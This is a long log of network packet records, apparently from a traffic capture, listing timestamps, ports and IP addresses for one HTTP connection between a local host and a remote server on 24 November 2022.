Nov 24, 2022 16:57:35.999496937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.999521971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.999547958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.999560118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.999617100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.000260115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.000292063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.000320911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.000349045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.000361919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.000406981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.001033068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.001053095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.001113892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.001461029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.001480103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.001498938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.001518011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.001811028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.002233028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.002250910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.002266884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.002311945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.044644117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.246404886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.263482094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.581976891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582040071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582083941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582118988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.582128048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582170010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582207918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.582215071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582257986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582298994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582308054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.582341909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582365990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.582384109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582438946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582441092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.582463026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.582519054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.583118916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.583164930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.583208084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.583235979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.583250046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.583290100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.583309889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.583333015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.583391905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.583978891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.584022999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.584064007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.584089041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.584105015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.584127903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.584148884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.584176064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.584212065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.584803104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599617004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599680901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599724054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599749088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.599765062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599795103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.599808931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599853992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599869967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.599896908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599937916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.599955082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.599980116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600022078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600033998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.600064039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600107908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600122929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.600789070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600832939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600861073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.600897074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600939035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.600953102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.600981951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601023912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601047039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.601618052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601663113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601701975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.601702929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601746082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601763964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.601787090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601828098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.601851940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.602482080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.602525949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.602566004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.602570057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.602607965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.602634907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.602649927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.602693081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.602710962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.603385925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.603430033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.603470087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.603488922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.603511095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.603530884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.603554964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.603596926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.603615046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.604281902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.604326010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.604367018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.604367018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.604408979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.604434967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.604451895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.604496002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.604521036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.605103970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.605149031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.605179071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.605190039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.605232000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.605267048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.605273008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.605317116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.605335951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.605958939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.606031895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.617014885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617079973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617127895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617171049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617172956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.617213964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617237091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.617255926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617297888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617311001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.617341042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617383957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.617393017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.617960930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618038893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.618045092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618093967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618136883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618150949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.618180037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618222952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618247986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.618805885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618849039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.618885994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.618942022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619009018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619045973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.619052887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619086027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619220018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.619693995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619736910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619771957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.619779110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619822979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619848967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.619904995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.619975090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.620610952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.620655060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.620695114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.620708942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.620738029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.620781898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.620794058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.620824099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.620882988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.621287107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.621330976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.621371984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.621388912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.621413946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.621455908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.621469021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.621496916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.621561050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.622230053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622272968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622313976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622347116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.622356892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622399092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622422934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.622442007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622500896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.622842073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622903109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622945070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.622972965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.622987986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.623030901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.623038054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.623073101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.623143911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.623718023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.634784937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.634841919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.634910107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.634951115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.634952068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.634991884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635006905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.635035038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635051012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.635078907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635126114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635132074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.635168076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635209084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635215998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.635250092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635291100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635302067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.635332108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635373116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.635380983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.636003971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636046886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636081934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.636094093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636142015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636181116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.636182070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636224985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636240959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.636270046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636329889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.636873007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636915922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636955976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.636980057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.636997938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637058973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.637373924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637418032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637459040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637480021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.637500048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637541056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637558937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.637583017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637624979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.637639046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.638253927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638298035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638331890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.638339996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638382912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638408899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.638423920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638498068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.638515949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638559103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.638622999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.639194965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639238119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639280081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639300108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.639323950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639364958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639377117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.639409065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639451981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.639463902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.639976025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640018940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640038967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.640063047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640108109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640125990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.640450001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640496016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640512943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.640547037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640600920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.640825033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640866995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640908003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.640924931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.640949965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641014099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.641130924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641402960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641448975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641463041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.641491890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641532898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641550064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.641575098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641614914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641633987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.641655922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641697884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.641711950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.642455101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642507076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642533064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.642544031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642580986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642606974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.642620087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642656088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642689943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642689943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.642729044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.642767906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.643394947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643431902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643469095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643471003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.643508911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643524885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.643543005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643573999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643604994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643609047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.643635035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643663883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.643668890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.643722057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.644418001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.644462109 CET	80	49713	66.235.200.147	192.168.2.3
